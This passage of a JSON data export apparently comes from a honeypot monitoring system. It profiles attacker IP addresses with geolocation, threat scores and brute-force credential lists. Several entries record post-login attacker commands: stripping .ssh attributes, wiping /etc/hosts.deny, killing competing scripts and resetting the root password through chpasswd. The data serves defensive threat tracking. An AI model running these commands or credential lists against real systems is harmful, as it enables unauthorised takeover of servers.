        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T08:00:52.421000+00:00",
        "last_seen_30d": "2026-05-14T08:03:08.374000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "211.37.174.62": {
      "attack_count": 2,
      "first_seen": "2026-05-14T20:27:08.489Z",
      "last_seen": "2026-05-14T20:27:08.490Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T20:27:08.489000+00:00",
        "last_seen_30d": "2026-05-14T20:28:11.231000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "213.118.56.177": {
      "attack_count": 2,
      "first_seen": "2026-05-27T06:14:32.805Z",
      "last_seen": "2026-05-27T06:14:46.247Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Ieper",
      "asn": 6848,
      "as_org": "Telenet BV",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T06:14:32.805000+00:00",
        "last_seen_30d": "2026-05-27T06:15:53.063000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "24.65.122.169": {
      "attack_count": 2,
      "first_seen": "2026-05-06T05:39:21.330Z",
      "last_seen": "2026-05-06T05:39:34.020Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Edmonton",
      "asn": 6327,
      "as_org": "Shaw Communications",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T05:39:21.330000+00:00",
        "last_seen_30d": "2026-05-06T05:40:41.112000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "27.21.169.224": {
      "attack_count": 2,
      "first_seen": "2026-05-26T11:34:25.691Z",
      "last_seen": "2026-05-26T11:34:39.333Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T11:34:25.691000+00:00",
        "last_seen_30d": "2026-05-26T11:35:43.932000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "35.203.211.40": {
      "attack_count": 2,
      "first_seen": "2026-05-14T02:08:14.119Z",
      "last_seen": "2026-05-14T02:08:23.847Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "City of London",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 72.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.1,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 51,
        "days_active_30d": 27,
        "ports_targeted_30d": 15,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-04T20:13:14+00:00",
        "last_seen_30d": "2026-05-30T16:47:24.358000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 33,
        "Honeytrap": 16,
        "Cowrie": 2
      }
    },
    "45.164.148.22": {
      "attack_count": 2,
      "first_seen": "2026-05-05T17:32:03.362Z",
      "last_seen": "2026-05-05T17:32:16.048Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Guatemala",
      "country_code": "GT",
      "city": "Guatemala City",
      "asn": 267713,
      "as_org": "JORGE MARIO, MENDOZA LUX PUNTO-NET",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T17:32:03.362000+00:00",
        "last_seen_30d": "2026-05-05T17:33:18.443000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "59.174.160.82": {
      "attack_count": 2,
      "first_seen": "2026-05-22T22:59:23.368Z",
      "last_seen": "2026-05-22T22:59:58.917Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Wuhan",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T22:59:23.368000+00:00",
        "last_seen_30d": "2026-05-22T23:01:03.516000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "59.98.68.149": {
      "attack_count": 2,
      "first_seen": "2026-05-20T14:47:04.334Z",
      "last_seen": "2026-05-20T14:47:22.757Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Marthandam",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T14:47:04.334000+00:00",
        "last_seen_30d": "2026-05-20T14:48:30.619000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "67.188.2.7": {
      "attack_count": 2,
      "first_seen": "2026-05-05T16:19:50.285Z",
      "last_seen": "2026-05-05T16:19:53.151Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Danville",
      "asn": 7922,
      "as_org": "Comcast Cable Communications, LLC",
      "threat_score": 2.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T16:19:50.285000+00:00",
        "last_seen_30d": "2026-05-05T16:20:58.855000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "85.159.210.225": {
      "attack_count": 2,
      "first_seen": "2026-05-08T19:33:57.396Z",
      "last_seen": "2026-05-08T19:33:59.145Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "London",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 5.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T06:25:24.973000+00:00",
        "last_seen_30d": "2026-05-08T19:44:00.706000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "88.230.153.244": {
      "attack_count": 2,
      "first_seen": "2026-05-21T09:20:42.887Z",
      "last_seen": "2026-05-21T09:20:56.279Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Izmir",
      "asn": 9121,
      "as_org": "Turk Telekom",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T09:20:42.887000+00:00",
        "last_seen_30d": "2026-05-21T09:22:05.518000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "176.65.149.200": {
      "attack_count": 4453,
      "first_seen": "2026-05-17T18:40:00.658Z",
      "last_seen": "2026-05-17T19:25:59.648Z",
      "sessions": 890,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "admin",
        "ftpuser",
        "ubuntu",
        "user",
        "deployer",
        "test",
        "oracle",
        "jenkins",
        "postgres",
        "alex",
        "git",
        "guest",
        "minecraft",
        "odoo",
        "bot",
        "cacti",
        "demo",
        "elastic"
      ],
      "passwords_attempted": [
        "123456",
        "password",
        "P@ssw0rd",
        "p@ssw0rd",
        "123",
        "12345678",
        "1",
        "1234",
        "12345",
        "root",
        "1qaz@WSX",
        "admin",
        "111",
        "1111",
        "123456789",
        "Aa123456",
        "admin123",
        "1234567",
        "123root",
        "0000"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 22.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 6264,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T18:40:00.658000+00:00",
        "last_seen_30d": "2026-05-17T19:27:06.396000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4453,
        "Suricata": 1811
      }
    },
    "134.209.96.149": {
      "attack_count": 2626,
      "first_seen": "2026-05-05T01:05:15.166Z",
      "last_seen": "2026-05-05T09:02:54.811Z",
      "sessions": 1313,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3997,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T01:05:15.166000+00:00",
        "last_seen_30d": "2026-05-05T09:03:56.272000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2626,
        "Suricata": 1371
      }
    },
    "27.19.147.236": {
      "attack_count": 466,
      "first_seen": "2026-05-19T06:40:20.837Z",
      "last_seen": "2026-05-22T09:39:14.257Z",
      "sessions": 233,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 30.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.5,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 715,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:40:20.837000+00:00",
        "last_seen_30d": "2026-05-22T09:40:19.125000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 466,
        "Suricata": 249
      }
    },
    "45.134.9.27": {
      "attack_count": 465,
      "first_seen": "2026-05-14T13:23:11.662Z",
      "last_seen": "2026-05-19T21:31:05.933Z",
      "sessions": 55,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude",
        "linux",
        "pakchoi"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "linux123",
        "!Gb8vlUG",
        "!Password1",
        "!QAZ2wsxcde3",
        "123zxc",
        "1902",
        "1969",
        "21vianet",
        "314159",
        "Elephant123",
        "Kermit123@",
        "aapje123",
        "abcd1234@",
        "admin2010",
        "atpco",
        "azsxdc",
        "blue",
        "claude"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:NknXJZ78OFHZ\"|chpasswd|bash",
        "echo \"root:vfjtMdSsj3cj\"|chpasswd|bash",
        "echo \"root:xB6khR87zG75\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.login.success"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Mexico City",
      "asn": 396356,
      "as_org": "Latitude.sh",
      "threat_score": 26.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.7,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 588,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T13:23:11.662000+00:00",
        "last_seen_30d": "2026-05-19T21:32:12.642000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 465,
        "Suricata": 123
      }
    },
    "116.99.172.29": {
      "attack_count": 448,
      "first_seen": "2026-05-04T04:21:08.206Z",
      "last_seen": "2026-05-04T04:50:13.619Z",
      "sessions": 91,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "test",
        "cisco",
        "uucp",
        "*****",
        "1234",
        "123456",
        "anton",
        "auto",
        "bin",
        "brenda",
        "client",
        "config",
        "db2inst2",
        "dubai",
        "ftp",
        "ftpuser",
        "help",
        "helpdesk"
      ],
      "passwords_attempted": [
        "1234",
        "password",
        "0l0ctyQh243O63uD",
        "123456",
        "admin",
        "uucp",
        "*****",
        "039715582364317",
        "0987654321",
        "1111",
        "112233",
        "123",
        "12345",
        "12345678",
        "123456789",
        "@",
        "Deadstar!",
        "OkwKcECs8qJP2Z",
        "P@ssw0rd",
        "abc123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.2,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 664,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T04:21:08.206000+00:00",
        "last_seen_30d": "2026-05-04T04:51:22.837000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 448,
        "Suricata": 216
      }
    },
    "198.98.62.211": {
      "attack_count": 420,
      "first_seen": "2026-05-26T19:43:40.312Z",
      "last_seen": "2026-05-27T08:28:04.198Z",
      "sessions": 37,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "systemd",
        "kai",
        "ubuntu",
        "bash",
        "foundry",
        "freelancer",
        "postgres",
        "rizky",
        "scanner",
        "sonu",
        "sshuser",
        "steam",
        "ts3",
        "wafer",
        "wei",
        "xuhao"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "Voidsetdownload.so",
        "fjbdfdjkdsfs541544AA@@",
        "!23QweAsd",
        "123456",
        "123qweasdZXC",
        "585858",
        "Aa@12345678",
        "Welcome1",
        "Xx123456789",
        "admin123",
        "asdf1234",
        "bash",
        "fernando",
        "freelancer",
        "jyb-2025",
        "kai",
        "password"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Voidsetdownload.so\\n0oonJqnpKw97\\n0oonJqnpKw97\\n\"|passwd",
        "echo \"Voidsetdownload.so\\nEBNiqdQjqejI\\nEBNiqdQjqejI\\n\"|passwd",
        "echo \"kai\\nNX1K3Gy9cY6f\\nNX1K3Gy9cY6f\\n\"|passwd",
        "echo \"root:bXGd81623HUL\"|chpasswd|bash",
        "echo -e \"Voidsetdownload.so\\n0oonJqnpKw97\\n0oonJqnpKw97\"|passwd|bash",
        "echo -e \"Voidsetdownload.so\\nEBNiqdQjqejI\\nEBNiqdQjqejI\"|passwd|bash",
        "echo -e \"kai\\nNX1K3Gy9cY6f\\nNX1K3Gy9cY6f\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Staten Island",
      "asn": 53667,
      "as_org": "FranTech Solutions",
      "threat_score": 35.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 503,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T19:43:40.312000+00:00",
        "last_seen_30d": "2026-05-27T08:29:11.479000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 420,
        "Suricata": 83
      }
    },
    "221.161.235.168": {
      "attack_count": 404,
      "first_seen": "2026-05-28T01:52:35.096Z",
      "last_seen": "2026-05-31T05:15:26.521Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "administrator",
        "erick",
        "admin",
        "alex",
        "ansible",
        "debian",
        "dev",
        "ftpuser",
        "nana",
        "oracle",
        "paul",
        "qw",
        "staging"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!Q@W#E$R1q2w3e4r",
        "010203",
        "123123",
        "1234",
        "12345678Abc",
        "123qwe123",
        "1qaz!QAZ",
        "232323",
        "Aa1234567890!",
        "Admin111",
        "Admin123...",
        "P@ssw0rd@2026",
        "Qwerty123!",
        "User@1234",
        "aA123321",
        "alex@123",
        "changeme",
        "erick"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"P@ssw0rd@2026\\nC0xkmPfEVS4r\\nC0xkmPfEVS4r\\n\"|passwd",
        "echo \"erick\\nxeKHcnRoRi2f\\nxeKHcnRoRi2f\\n\"|passwd",
        "echo \"root:1SHgIVXi0k6f\"|chpasswd|bash",
        "echo \"root:WuK5n4rpfWgl\"|chpasswd|bash",
        "echo -e \"P@ssw0rd@2026\\nC0xkmPfEVS4r\\nC0xkmPfEVS4r\"|passwd|bash",
        "echo -e \"erick\\nxeKHcnRoRi2f\\nxeKHcnRoRi2f\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Busan",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 42.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.8,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 480,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T01:52:35.096000+00:00",
        "last_seen_30d": "2026-05-31T05:16:31.129000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 404,
        "Suricata": 76
      }
    },
    "109.49.23.192": {
      "attack_count": 402,
      "first_seen": "2026-05-04T00:19:49.929Z",
      "last_seen": "2026-05-31T01:45:59.396Z",
      "sessions": 45,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "admin",
        "345gs5662d34",
        "mysql",
        "nikita",
        "test",
        "vbox",
        "devops",
        "dspace",
        "info",
        "nick",
        "postgres",
        "samba",
        "server",
        "solomon",
        "srvadmin",
        "temp",
        "testuser",
        "user1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "111",
        "11114444",
        "111222",
        "1122334455",
        "12345",
        "2026",
        "4321",
        "555555",
        "Admin234",
        "P@ssw0rd",
        "P@ssw0rd1",
        "Password1!",
        "QWE123qwe",
        "Qwerty12345!",
        "Tiger123",
        "Welcome1",
        "blank",
        "changeme"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1122334455\\nRTo5HatV0NVA\\nRTo5HatV0NVA\\n\"|passwd",
        "echo \"12345\\nso8jaGbEwNht\\nso8jaGbEwNht\\n\"|passwd",
        "echo \"vboxvbox\\nKB7QwoF82hYy\\nKB7QwoF82hYy\\n\"|passwd",
        "echo -e \"1122334455\\nRTo5HatV0NVA\\nRTo5HatV0NVA\"|passwd|bash",
        "echo -e \"12345\\nso8jaGbEwNht\\nso8jaGbEwNht\"|passwd|bash",
        "echo -e \"vboxvbox\\nKB7QwoF82hYy\\nKB7QwoF82hYy\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": "Lisbon",
      "asn": 2860,
      "as_org": "Nos Comunicacoes, S.A.",
      "threat_score": 62.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 27.0,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 500,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T00:19:49.929000+00:00",
        "last_seen_30d": "2026-05-31T01:47:08.256000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 402,
        "Suricata": 98
      }
    },
    "118.248.198.215": {
      "attack_count": 354,
